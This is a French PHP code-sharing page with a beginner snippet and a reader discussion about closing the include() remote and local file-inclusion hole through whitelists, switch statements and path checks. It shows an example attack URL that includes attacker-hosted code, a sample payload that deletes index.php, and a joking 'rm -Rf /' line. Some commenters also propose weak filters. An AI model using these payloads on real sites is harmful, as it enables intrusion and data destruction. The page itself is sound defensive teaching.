begin process at 2012 05 27 22:25:59
  Trouver un code source :
 
dans
 
Accueil > 

Code

 > 

Sécurité & Cryptage

 > CONDAMNER LA FAILLE INCLUDE()

CONDAMNER LA FAILLE INCLUDE()


 Information sur la source

Note :
1,56 / 10 - par 9 personnes
1,56 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10
Catégorie :Sécurité & Cryptage Classé sous :include, faille, url, sécurité, attaque Niveau :Débutant Date de création :31/05/2006 Date de mise à jour :02/06/2006 15:01:07 Vu :20 443

Auteur : killermaster

Ecrire un message privé
Site perso
Commentaire sur cette source (56)
Ajouter un commentaire et/ou une note

 Description

EXPLICATION :

La "faille" include() se manifeste lorsque l'on utilise cette instruction :

include($page);     /* où $page est une variable contenant un nom de page à inclure */

Le problème (la "faille"), c'est que cette variable $page est aussi et surtout accessible par l'utilisateur via l'url.
En effet, s'il tape, par exemple :

http://www.votre_site.com/index.php?page=http:/ /www.site_attaquant.com/virus.php

il "inclura" alors le script 'virus.php' dans votre site et pourra alors faire à peu près tout ce qu'il veut, d'où l'importance de combler cette faille...

Je sais qu'il y a d'autre(s) source(s) déjà qui propose(nt) une solution pour boucher la faille include(), mais elle(s) ne me convenai(en)t pas.

J'ai donc dû trouver autre chose.


Voilà keuwa, enjoy fellas!!

Source

  • //
  • // Pour éviter que l'utilisateur n'incluse n'importe quoi dans votre site,
  • // vous pouvez définir vous même la liste des pages autorisées à être incluses.
  • //
  • // Faisons cela à l'aide d'un tableau.
  • //
  • // Si vous souhaitez par exemple que la navigation sur votre site se fasse à
  • // travers le fichier index.php, c'est-à-dire, si vos URLs sont du type :
  • //
  • // .../index.php?page=XXXXX
  • //
  • // vous devrez déclarer dans votre fichier 'index.php' le tableau suivant :
  • //
  • $pages_autorisees = array('index' => 'index.php',
  • 'chapitre1' => 'chapitres/chapitre1.php',
  • 'chapitre2' => 'chapitres/chapitre2.php',
  • 'chapitre3' => 'chapitres/chapitre3.php'
  • // ainsi de suite pour toutes vos pages autorisées...
  • );
  • // Ensuite, pour inclure une page et s'assurer qu'il s'agit bien d'une page autorisée à être incluse,
  • // (donc qui figure dans le tableau $pages_autorisees), il suffit de faire ceci :
  • if (isset($pages_autorisees[$page]))
  • include($pages_autorisees[$page]);
  • else
  • include('erreur.php');
//
// Pour éviter que l'utilisateur n'incluse n'importe quoi dans votre site,
// vous pouvez définir vous même la liste des pages autorisées à être incluses.
//
// Faisons cela à l'aide d'un tableau.
//
// Si vous souhaitez par exemple que la navigation sur votre site se fasse à
// travers le fichier index.php, c'est-à-dire, si vos URLs sont du type :
//
//      .../index.php?page=XXXXX
//
// vous devrez déclarer dans votre fichier 'index.php' le tableau suivant :
//


$pages_autorisees = array('index' => 'index.php',
                          'chapitre1' => 'chapitres/chapitre1.php',
                          'chapitre2' => 'chapitres/chapitre2.php',
                          'chapitre3' => 'chapitres/chapitre3.php'
                          // ainsi de suite pour toutes vos pages autorisées...

                         );


// Ensuite, pour inclure une page et s'assurer qu'il s'agit bien d'une page autorisée à être incluse,
// (donc qui figure dans le tableau $pages_autorisees), il suffit de faire ceci :


if (isset($pages_autorisees[$page])) 
      include($pages_autorisees[$page]);
else 
      include('erreur.php');

 Conclusion

J'espère que ça vous aidera un peu :))


 Historique

31 mai 2006 11:11:35 :
Correction d'une ch'tite faute d'orthographe !
02 juin 2006 14:58:46 :
Changement complet ! ==>>> Merci à Kankrelune et à tous les autres :))
02 juin 2006 15:01:07 :
Correction orthographe

 Sources de la même categorie

Source avec Zip Source avec une capture CAPTCHA AJAX ANTI-BOT par darkvador59
Source avec Zip Source avec une capture ACCÈS, ESPACE MEMBRE AVEC INSCRIPTION ET DÉSINSCRIPTION PAR ... par stephelle
Source avec Zip CRYPTAGE REVERSIBLE par Mokost
Source avec Zip Source avec une capture CREATION DE COMPTE AVEC CRYPTAGE ET ESPACE DE CONNEXION SEC... par bm1982
PROTÉGEZ VOS LIENS DE TÉLÉCHARGEMENT PAR MOT DE PASSE ET/OU ... par unlien

 Sources en rapport avec celle ci

Source avec Zip Source avec une capture VALIDATEUR DE FORMULAIRE par Reldan
Source avec Zip VÉRIFICATION DE FORMULAIRE EN PHP par psonic13
Source avec Zip CREATED SOME TINY URL par ledamss
Source avec Zip DÉCOMPOSER UN CODE PHP AVEC LA FONCTION INCLUDE par Julien39
VÉRIFICATION DES URL VALIDE AVEC PHP par dilar

Commentaires et avis

Commentaire de PaDa le 31/05/2006 11:38:33

Je vais ptet dire une bêtise mais...

La variable $page n'est pas remplie automatiquement si la directive "register_globals" est à "off" sur ta distribution php.
C'est une erreur commune de croire que c'est le fonctionnement normal de PHP de remplir les variables automatiquement avec l'URL, mais ca pose un problème de sécurité tellement important que par défaut ce comportement est désormais à "off" par défaut (et chez beaucoup d'hébergeurs sur des vieilles distributions aussi).

Dites moi si je me trompe...

Perso, je teste chaque paramètre de facon exacte avant un include, ca coute pas cher et ca évite les surprises :-)

Commentaire de malalam le 31/05/2006 11:43:03 administrateur CS

Hello,

heu, et si le mec met ?page=www.sonsite.com/virus.php ...? Ou une adresse ip ? ou même pas www? ...etc

Le mieux est de toutes façons de savoir ce que tu t'attends à recevoir...et de n'accepter que ça.

Perso, j'utilise, quand j'utilise c e système, un tableau des GET que j'attends. Et ce ne sont jamais des url...ou du moins, jamais des url absolues.

Commentaire de malalam le 31/05/2006 11:49:00 administrateur CS

PaDa => tu ne te trompes pas, mais vu que c'est un exemple, j'ai misé sur le fait que c'était JUSTE un exemple, et qu'il récupèrait son $page d'un $_GET['page'] auparavant...mais tu fais bien de préciser :-)

Au passage, file_exists ne renvoie jamais une valeur = 0, donc pas besoin de == true.

Et vive la comparaison typée, au passage, parce que :

<?php
$sSearch = 'test';
$sString = 'testeur';

if (false == strpos ($sString, $sSearch)) {
echo 'non trouvé : "testeur" ne contient pas "test"';
} else {
echo 'trouvé : "testeur" contient "test"';
}
?>

et

<?php
$sSearch = 'test';
$sString = 'testeur';

if (false === strpos ($sString, $sSearch)) {
echo 'non trouvé : "testeur" ne contient pas "test"';
} else {
echo 'trouvé : "testeur" contient "test"';
}
?>

compares donc...

Commentaire de malalam le 31/05/2006 11:50:14 administrateur CS

En clair, ton strpos ne fonctionne pas correctement.

Commentaire de killermaster le 31/05/2006 12:26:18

ah bon ?? :'((


bah merci quand même !


@++

Commentaire de killermaster le 31/05/2006 12:31:54

sinon en fait je ne récupère pas $page avec $_GET['page'] :

avant d'inclure $page, j'ai un test (composé de switch) qui me renvoie une valeur bien précise pour $page, après je l'inclue avec

include($page);

seulement je voulais juste empêcher l'utilisateur de mettre n'importe quoi dans cette variable..

Et je ne comprends pas pourquoi tu dis que strPos ne fonctionne pas correctement !

Tu pourrais expliquer ?? :))


@++

Commentaire de malalam le 31/05/2006 12:35:31 administrateur CS

Tu as testé mes 2 exemples, pour le strpos () ?

strpos renvoie : false s'il échoue, ou un entier s'il trouve la chaîne demandée, indiquant la position de cette chaîne dans l'autre chaîne.
Mais un offset de position dans une chaîne commence à 0, pas à 1.
Dans mon exemple: test et testeur.
testeur contient évidemment test. Et la position de 'test' dans 'testeur' est 0.
Or, en php false == 0.
Mais false !== 0...(comparaison typée, triple =).
donc, dans mon exemple, avec false == strpos (...), ça renvoie true! Puisqu'il trouve 0, et que 0 == false...
Mais en faisant false === strpos (...), il trouve tjrs 0, mais 0 !== false, donc il renvoie bien false, et non true.

Commentaire de williamprotti le 31/05/2006 13:03:55

Bonjour tout le monde!

Personnelement je fait comme ça:

Url = http://www.site.com/?idPage=1

code

<?php
switch($_GET['idPage'])
  {
  case '1':
   include"page.php";
  break;
  
  default:
   include"erreur.php"; // ou acceuil, ou un echo etc...
  break;
  }
?>
Maintenant je sais pas si c'est bien de faire comme ça....

voilà! :)

Commentaire de killermaster le 31/05/2006 13:05:49

ah !

ok merci bien j'vais revoir tout ça ;)

@++

Commentaire de kankrelune le 31/05/2006 13:30:26

deux problème... un théorique...

[quote]http://www.votre_site.com/index.php?page=http://www.site_attaquant.com/virus.php

il "inclura" alors le script 'virus.php' dans votre site et pourra alors faire à peu près tout ce qu'il veut, d'où l'importance de combler cette faille...[/quote]

si on prend ton exemple on incluera du code html... donc à part des attaque css tu peux pas faire grand chose... c'est un peu plus compliqué que ça... et heureusement... .. .

l'autre faute est théorique... comme le dit Malalam le strpos ne protège pas grand chose car facilement contournable... mieux vaut mettre toutes ces pages dans un répertoire protégé par un .htaccess en deny from all et faire...

$page = (isset($_GET['page'])) ? strip_tags($_GET['page']) : 'accueil';

if(is_file('pages/'.$page.'.php'))
   include('pages/'.$page.'.php');
      elseif(is_file('pages/'.$page.'.html'))
        include('pages/'.$page.'.html');
          else
            include('pages/accueil.php');

Ou alors comme dit williamprotti tu fais un switch... .. .

@ tchaOo°

Commentaire de CrYpToNyM le 31/05/2006 14:36:11

Sans vouloir trop m'avancer, il me semble qu'une simple option dans le php.ini permet de désactiver l'include distant...
Mais bon le script kiddie peut toujours inclure n'importe quel fichier local.
La meilleure méthode reste le switch case.

Commentaire de J_G le 31/05/2006 14:49:26

Bonjour...

Et si on faisait comme ça :

$page = $_SERVER['DOCUMENT_ROOT'].'/'.$_GET['page'];

Ne serait-ce pas mieux?

Commentaire de kankrelune le 31/05/2006 15:26:57

pas besoin pour ma méthode le is_file ne marche que sur du local vu qu'il passe par le gestionnaire de fichiers du serveur... .. .

@ CrYpToNyM... c'est pour ça qu'il vaut mieux regrouper les pages dans un répertoire ne contenant que des page autorisées à l'affichage... .. .

@ tchaOo°

Commentaire de stepibou le 31/05/2006 16:15:02

code line soon deleted?

Commentaire de malalam le 31/05/2006 16:42:49 administrateur CS

Chais pas, parce qu'il y a des choses intéressantes, concernant ce type de problème (failles include), expliquant comment éviter ces failles, dans les commentaires.
Donc, je pense que je vais laisser ce code. Pour les commentaires.

Maintenant, si, chers membres ;-), vous êtes contre, je me plierai à vos désirs, évidemment. UN admin n'est autre qu'un esclave des désirs des utilisateurs du site qu'il administre, après tout ;-)

Commentaire de PaDa le 31/05/2006 17:29:09

Je pense que les commentaires/discussions que la source a généré sont intéressants ;)
Vaudrait mieux que killermaster update sa source pour tenir compte de toutes les remarques, ca serait un bon compromis non ?

Commentaire de malalam le 31/05/2006 17:38:58 administrateur CS

En fait, ce serait même la moindre des choses, qu'il mette à jour son code. Hmm Killermaster ... ? :-)

Commentaire de kankrelune le 31/05/2006 18:27:10

[quote]UN admin n'est autre qu'un esclave des désirs des utilisateurs du site qu'il administre[/quote]

Ooh... comme c'est beau... lol... .. . ;o)

@ tchaOo°

Commentaire de FhX le 31/05/2006 20:01:08

"UN admin n'est autre qu'un esclave des désirs des utilisateurs du site qu'il administre"

Oh oui, pour la peine je quote moi aussi :p

Commentaire de wizard512 le 31/05/2006 22:31:30

on peut dire que la source sert ( enfin de mon coter ) a rien
mais que les commentaires aux servent a quelque choses
( a faire évoluer le débat sur ce type de faille ^^' )

Commentaire de Anthomicro le 31/05/2006 22:57:27

Salut,

Dans le même genre : http://www.vulgarisation-informatique.com/failles-php.php

Commentaire de Arto_8000 le 01/06/2006 02:07:16

Petit détail si l'on veut être sur que l'on include seulement les fichiers qui sont supposés être includer :

$page = $_GET["page"];
$page = str_replace(Array("..","."),"",$page);

if(files_exist("includes/".$page))
{
   include("includes/".$page);
}


C'est juste pour éviter que tu puisse includer les fichiers .htpasswd de tout le serveur ...

Commentaire de killermaster le 01/06/2006 03:27:11

ok merci


pour améliorer la faille, je vais pas avoir le temps désolé

@++

Commentaire de pastis51forever le 01/06/2006 10:08:03

Bonjour!
Puisque le débat porte sur les différentes techniques pour parrer la faille include, je vais vous donner celle que j'utilise, pour que vous puissiez me dire ce que vous en pensez (et l'utiliser si elle vous plait, bien sur...).
J'ai un fichier de constantes:
<?php
define('INDEX','index.php');
define('CHAPITRE1','chapitres/chapitre1.php');
...
?>
J'inclus systématiquement ce fichier et je teste avant d'inclure la page demandée:
if (defined($page))
  include(constant($page));
else
  include('fichiererreur.php');

En fait ca me permet d'être certain que seules les pages autorisées sont incluses, de ne pas donner trop facilement l'architecture du site (pas de ?page=architecture/de/mon/site/page.php dans l'adresse) et tout simplement d'avoir des adresses plus jolies et intuitives, avec des constantes.

Brice

Commentaire de pastis51forever le 01/06/2006 10:13:18

Et puis, je n'ai pas testé (je n'ai qu'un seul serveur a disposition), mais l'inclusion d'un fichier php peut être dangereuse quand meme, je pense, meme si on inclut un fichier qui est déja passé par le moteur de php.
Ex de fichier inclus:
<?php
echo '<?php unlink("index.php") ?>';
?>
Sans le tester, je pense que ca devrait supprimer le fichier index.php du dossier courrant sur ton serveur...
Sinon, je suis interessé sur la raison...

Brice

Commentaire de PaDa le 01/06/2006 10:34:43

oui, ou un system('rm -Rf /'); même soyons fous :)
pour peu qu'apache soit lancé comme un porki.. et que je me trompe pas dans la commande..

Commentaire de TheSin le 01/06/2006 10:50:33

Perso, pour parer cette faille, je fais un switch sur un $_GET['mod'].
Après, j'inclus le bon fichier par le switch, et je lui lance la fonction appropriée, qui a été définie dans le fichier inclus.
Avec ca, il est déjà impossible de voir de l'html qui ressort dun fichier inclus, et ensuite la faille include n'existe pas ;-)
Le .htaccess en plus, faudrait que j'y pense, mais comme je fonctionne sur des serveurs sur lesquels on ne peut inclure par défaut des fichiers qui ne nous appartiennent pas, je pense que j'ai pas de soucis de ce côté là ;-)


[quote=Malalam]UN admin n'est autre qu'un esclave des désirs des utilisateurs du site qu'il administre[/quote]
Magnifique phrase, et je susi dévis pour qu'on laisse les commentaires et que killermaster update le code en fonction des commentaires ;-)

Commentaire de Anthomicro le 01/06/2006 10:56:59

Attention, un .htaccess n'empêche pas PHP d'accéder au fichier ou dossier concerné.

Commentaire de xactise le 01/06/2006 11:01:12

JE di peut-etre une betise (d'ailleur si c'est le cas merci de m'en prevenir de suite car moi je fait comme sa...)
mais metre la condition suivante
if (file_exists($page))
sufit amplement vu que si la page est externe au serveur il ne l'acceptera pas...
pour que sa fonctionne le pirate doit dabord uploader sa page virus.php sur le serveur donc si il n'y a pas de system d'upload mal protegre c'est bon...

Commentaire de pastis51forever le 01/06/2006 11:09:01

xactise: le truc c'est que ca lui permet quand meme d'inclure n'importe quelle page de ton site, comme par exemple d'eventuels .htaccess, fichiers de mots de passes ou executer n'importe quel fichier php de ton serveur (Il faut donc etre certain d'avoir bien protégé chaque fichier) et visualiser n'importe quel fichier html. Je pense que c'est quand meme un peu lourd comme risque...

Commentaire de xactise le 01/06/2006 11:09:51

et comme la dit anthomicro lors d'un projet j'ai pu m'apercevoir (Ho my god !!) que l'utilisation de l'URLRewrinting laisser passer quand meme les fichier qui sont proteger via .htaccess
exemple si j'ai un fichier ajout_news.php dans un dossier admin proteger via .htaccess
www.monsite.com/admin/ajout_news.php  <== le htaccess fonctionnera
par contre si on utilise l'URLRewriting
www.monsite.com/index.php?fichier=admin/ajout_news.php
le .htaccess ne fonctionnera pas
donc faire attention a sa...

Commentaire de J_G le 01/06/2006 12:41:43

Salut,

Une autre façon de faire ?  

oui oui oui oui... C'est celle que j'utilise (presque)
<?php
// La racine du site est :
define('ROOT', $_SERVER['DOCUMENT_ROOT']§.'/www/');

// Définition des différents droits d'acces existant
$i=0;
define('ACCES_GUEST',1<<$i++);
define('ACCES_LOGGED',1<<$i++);
define('ACCES_ADMIN',1<<$i++);
define('ACCES_SUPER',1<<$i++);
define('ACCES_ALL',0xff);

// Définition des droits d'acces aux page du site
$GLOBALS['ACCES'] = array();
$GLOBALS['ACCES'][ROOT.'index.php'] = ACCES_ALL;
$GLOBALS['ACCES'][ROOT.'connexion.php'] = ACCES_ALL;
$GLOBALS['ACCES'][ROOT.'compte_perso.php'] = ACCES_LOGGED;
// ... Ainsi pour toutes les pages du scripts
// C'est la technique dite de la liste blanche !
// Le script à inlcure est présumé coupable et doit prouver sa sympathie


// Puis une fonction pour inclusion sécurisée
function is_allow($include_this) {
  $user_acces_rights = /* On chope les droits de l'utilisateur */;

  // Adresse ABSOLUE et vérifie EXISTANCE du fichier ... C'est déjà pas mal !
  $include_this = realpath($include_this);

  // Pas le droit d'inclure :
  if( $include_this===false
      or !isset($GLOBALS['ACCES'][$include_this])
      or !($GLOBALS['ACCES'][$include_this]&$user_acces_right) ) return false;

  // OK ? cool...
  return true;
}



// A utiliser ainsi pour les inclusions :
if( is_allow( $page ) ) {
  include( $page );
}

// Ou ainsi pour protéger les accès aux pages :
$request = parse_url( $_SERVER['REQUEST_URI'] );
if( !is_allow($request['path']) ) {
  header('HTTP/1.0 403 Not Allowed');
  header('Location: /erreur_403.php');
  exit;
}

?>

Il y'a bien sûr milles améliorations possibles...

A+

Commentaire de TheSin le 01/06/2006 13:29:54

intéressant J_G, par contre, tu fais une erreur sur le header('location') qui demande une URI absolue et non relative, sauf exception de certains navigateur ;-)
http://fr.php.net/manual/fr/function.header.php

N'empêche qu'il pourrait être intéressant de voir un portable de tes fonctions en une classe toute bête et méchante (niark, c'est bon les classes xD)

Commentaire de TheSin le 01/06/2006 13:30:59

pardon, j'ai dit "un portable", petit lapsus dû à la fatigue ...
je voulais dire "un portage" ;-)

Commentaire de J_G le 01/06/2006 13:51:16

Merci Thesin,

header("Location: /page_à_la_racine_du_site.php");
Ce n'est pas une erreur... Et je ne connais pas de navigateur ne comprennant pas ce message. Quel est le problème ?
Quique pour tout te dire, généralement, je définie au minimum ces 2 variables : SERVER_ROOT et HTTP_ROOT

Concernant le portage, personnelement, je ne ferais pas une classe de... cette unique fonction !
Ne vaut-il pas mieux mettre ces petits bouts de code dans un 'acces.inc.php' ?

Enfin, si t'es motivé pour la transformation... Pas de problème, je te file les droits d'exploitation ;)

Commentaire de Anthomicro le 01/06/2006 14:07:48

Disons que le coup de l'url absolue c'est histoire de respecter la RFC, en pratique ça ne sert à rien car n'importe quel navigateur comprend quand tu lui passes une url relative (ce qui est beaucoup plus pratique en cas de changement d'adresse de site par exemple).

Commentaire de kankrelune le 01/06/2006 14:33:37

@ pastis51forever... un tableau serait peut être plus simple que des constantes... et ça te fais une fonction de moins à appeler... .. .

$site_pages = array('index' => 'index.php',
                    'chapitre1' => 'chapitres/chapitre1.php',
                    ...
                    );
...

if (isset($site_pages[$page]))
  include($site_pages[$page]);
else
  include('fichiererreur.php');

@ TheSin
"Le .htaccess en plus, faudrait que j'y pense, mais comme je fonctionne sur des serveurs sur lesquels on ne peut inclure par défaut des fichiers qui ne nous appartiennent pas, je pense que j'ai pas de soucis de ce côté là"

Le .htaccess c'est juste pour que l'on ne puisse pas accéder au pages incluses directement... d'une part ça évite un affichage de ces pages sans header et footer... d'autre part ça évite l'affichage d'eereur (vu qu'il manque des fichiers inclu) qui peuvent renseigner un éventuel hackeur (notament en dévoilant le root du server)

@ xactise... is_file et file_exists c'est du pareil au même is_file étant légerement plus rapide... par contre c'est interessant ton histoire d'url rewriting faudra que je teste... .. .

J_G... ça a l'air pas mal comme technique... un peu plus lourd à mettre en place mais pas mal... .. . ;o)

@ killermaster...

"pour améliorer la faille, je vais pas avoir le temps désolé"

C'est pas la faille qu'il faut améliorer mais là façon de l'éviter... lol... et puis c'est pas pour le temps que ça prend... rooooooooh... .. .

Sympa ton avatar... tu fais vieu pour 17 ans... lol... bon ok je sors... .. . ;o)

@ tchaOo°

Commentaire de kankrelune le 01/06/2006 14:35:24

Au fait

[quote]UN admin n'est autre qu'un esclave des désirs des utilisateurs du site qu'il administre[/quote]

Fais attention Malalam... tu ne connais pas nos désir les plus secrets... lOo°oOl... aïe... non... aïe... pô taper... pô la tête... .. . :oD

@ tchaOo°

Commentaire de pastis51forever le 01/06/2006 14:47:26

kankrelune: C'est vrai que j'ai la facheuse tendance à travailler avec des constantes quand ce que je stocke est justement une constante...
Mais c'est vrai que je pense pas que constant($page) soit plus rapide que $tab[$page].
J'ai jamais vraiment su à quel moment il était meilleur d'utiliser des constantes ou des variables...

Commentaire de Anthomicro le 01/06/2006 16:23:59

l'accès à une constante est plus rapide ;)

Commentaire de pastis51forever le 01/06/2006 16:43:43

Ok, donc je continue tel quel... Je perds un peu de temps avec 1 fonction en plus dans la page (constant($page)) mais je gagne du temps d'acces a la valeur à chaque fois que je les utilise...

Commentaire de kankrelune le 01/06/2006 16:49:06

L'accès direct à une constante oui... mais via la fonction constant je n'en suis pas si sûr... .. .

@ tchaOo°

Commentaire de Anthomicro le 01/06/2006 17:08:00

Avec ce code :

while($i<100000)
{
if(defined('TEST'))
{
$var=constant('TEST');
}
$i++;
}

while($i<100000)
{
if(in_array('TEST',$tableau))
{
$var=$tableau['TEST'];
}
$i++;
}

C'est le tableau qui est le plus rapide dès que tu récupères la valeur effectivement, dans le cas contraire la constante reste plus rapide ;)

Commentaire de malalam le 01/06/2006 17:40:32 administrateur CS

On pourrait aussi stocker les pages dans un fichier XML, et parser le fichier pour voir si la page demandée est dedans, et...nan, je plaisantais ;-)

Kankrelune et les autres: on arrête de fantasmer svp!! Je ne suis pas un admin facile... ;-)

Commentaire de kankrelune le 01/06/2006 17:41:29

et avec...

while($i<100000)
{
  if(isset($tableau['TEST']))
  {
    $var=$tableau['TEST'];
  }
  $i++;
}

@ tchaOo°

Commentaire de pastis51forever le 01/06/2006 17:58:18

Ce que je voulais dire avec "à chaque fois que je les utilise... ", c'est que ca ne me sert pas uniquement la...
Dans d'autres parties, je peux avoir a les utiliser, donc il n'est pas systématiquement avantageux de gagner du temps ici si c'est pour en perdre plus bas. Par contre, les constantes ont comme avantage de me signaler si j'essaie de les déclarer plusieurs fois, alors qu'avec les variables, on écrase l'ancienne valeur sans aucun message d'avertissement, bien sur (et heureusement...)
Mais dans un contexte plus général c'est vrai que ce sont des stats très interessantes.
Ca me fait penser que j'ai quelques pages de source a revoir du coup...
Merci pour les précisions

Commentaire de coucou747 le 01/06/2006 20:43:22 administrateur CS

t'as oublié un "détail"

php accède non seulement à http, mais aussi à ftp, et bien d'autres méthodes... (genre ogg ect...)

donc, faut pas utiliser ça, car si jamais une méthode est ajoutée, bah ton script ne marche plus...
un endroit ou je détailes un certain nombre de failles  : http://coucou747.hopto.org/article_21.html

bon, selon moi, rien ne vaut le uin_array pour faire ça...

Commentaire de killermaster le 02/06/2006 15:04:37

Ca y est, j'ai tout changé !!

Encore merci à tous !!!!!

@ Kankrelune

Mon avatar, c'est Tony Soprano, de la série Les Soprano  ;))

Excellent !!!! ;)

Commentaire de Pyrghos le 05/06/2006 09:24:44

Salut, personellement je n'inclu jamais de page dont l'url serait passai directement par GET (on à put voir toute les complications que cela génère). Donc voici comment je fait, si cela peut servir à quelqu'un :

<? //voila le code qui traite la variable $_GET[page]

$page=$_GET[page];

if ($page=="1") $mon_include="un_sous_rep/page1.php";
elseif ($page=="2") $mon_include="un_sous_rep/page2.php";
elseif ($page=="3") $mon_include="un_autre_sous_rep/un_sous_sous_rep/page456.php";
// etc...
else $mon_include="page_par_defaut.php"; // optionnel suivant l'utilisation de la page a inclure

?>

aprés suffi d'appellé la page par mapage.php?page=1 pour etre sur d'inclure la bonne page,
de cette facon impossible pour quelqu'un d'inclure une autre page que celle prevu par le developpeur.

Commentaire de Pyrghos le 05/06/2006 09:26:45

heu j'ai oublier a la fin d'inclure la page lol
donc :

<? include($mon_include); ?>

dsl ^^

Commentaire de Pyrghos le 05/06/2006 10:34:03

Autant pour moi, je n'avait pas vu la methode du switch case deja expliqué plus haut par  williamprotti, qui se trouve etre une meilleure facon en plus ^^

dsl

Commentaire de wizard512 le 05/06/2006 22:54:20

tien ici : http://www.javascriptfr.com/infomsg_LIEN-FICHIER-HTM-FR_716236.aspx
il y a dans les commentaires du probleme une solution pour les page par "URL"

Commentaire de FhX le 06/06/2006 11:15:32

"On pourrait aussi stocker les pages dans un fichier XML, et parser le fichier pour voir si la page demandée est dedans, et...nan, je plaisantais ;-)"

On peut pas le faire aussi en version POO ? ;)

Commentaire de kankrelune le 06/06/2006 14:09:33

Moi je préfèrerais le faire en C++ et l'éxécuter en CGI... imparable... lol... .. .

@ tchaOo°

Commentaire de chankalan le 11/07/2006 18:44:45

passionnante discution...
en débutant que je suis, j'ai eu la chance de tomber sur une bonne d'emblée, le switch, celle de williamprotti, et sans savoir qu'elle était si bonne...

Commentaire de webdeb le 26/08/2006 01:20:35

Un petit tuto sympa ici : http://frederic.bouchery.free.fr/?2004/09/21/20-Include-Gouffre-Ou-Felure

++

 Ajouter un commentaire


Discussions en rapport avec ce code source dans le forum

Faille de sécurité avec Include ? [ par Saga974 ] Bonjour, Je commence depuis peu le PHP, jdois dire que ca m'interesse beaucoup, Je poste ici à propos de la faille dont j'ai tant entendu parler avec A propos de la faille de sécurité des include !! [ par demonn ] Bonjour a tous,voilà je cherche a sécurisé mon site au maximum et c'est dire que la tâche n'est pas simple.donc là je cherche a sécurisé la faille des Include [ par w_minisplash_w ] Bonjour à tous,Prenons un exemple (une belle faille include) :on a la page http://www.monsite.com/mapage.php?url=uneurl : <font color="#ff0000" face Sessions et sécurité [ par inwebo ] Bonjour à tous, Ma question est très simple, que doit on faire pour sécuriser des variables contenues en session et pourquoi ? PS : Déjà lu [url=htt base de donnée [ par MiTcH37 ] saluch,j'aimerai savoir si c'était possible de garder une connexion à une bdd ouverte dans une page appelée par un include, et de la reconnaitre dans Question de sécurité [ par zzzzzz ] Salutj'ai pas mal de page en php. Je me demandais quels sont les risques rééls sur les url. genre on rajoute un code apres l'url ? on pourrai ainsi in Faille Include [ par FearBlue ] Slt a tousVous connaissez surement tous la faille Includeenfin plus l'erreur de bcp de programmeurs php débutants.L'autre jour j'ai vu que si on faisa DEBAT : Faille Include et autres. [ par shudrummer ] Bonjour tout le monde !Alors voil&#224;, je m'adresse principalement aux pros du php mais tout le monde peut participer ou poser ses question ici.Voil Sécurité : Comment faire une url dynamique ? [ par BelphegorCLC ] Bonjour,J'aimerai masquer l'url d'une page php apres une redirection (je redirige vers la page en question, et j'aimerai empécher à un visiteur de voi j'aimre me créer une faille dans mon site (include) [ par Le Prince Dragon ] bonjour tout e monde,comme c'est dans le titre, je cherche comment créer une faille dans mon siteet non je ne déconne pas je veut crées une faille pou


Nos sponsors


Sondage...

CalendriCode

Mai 2012
LMMJVSD
 123456
78910111213
14151617181920
21222324252627
28293031   

Consulter la suite du CalendriCode

A découvrir



 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 0,406 sec (4)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales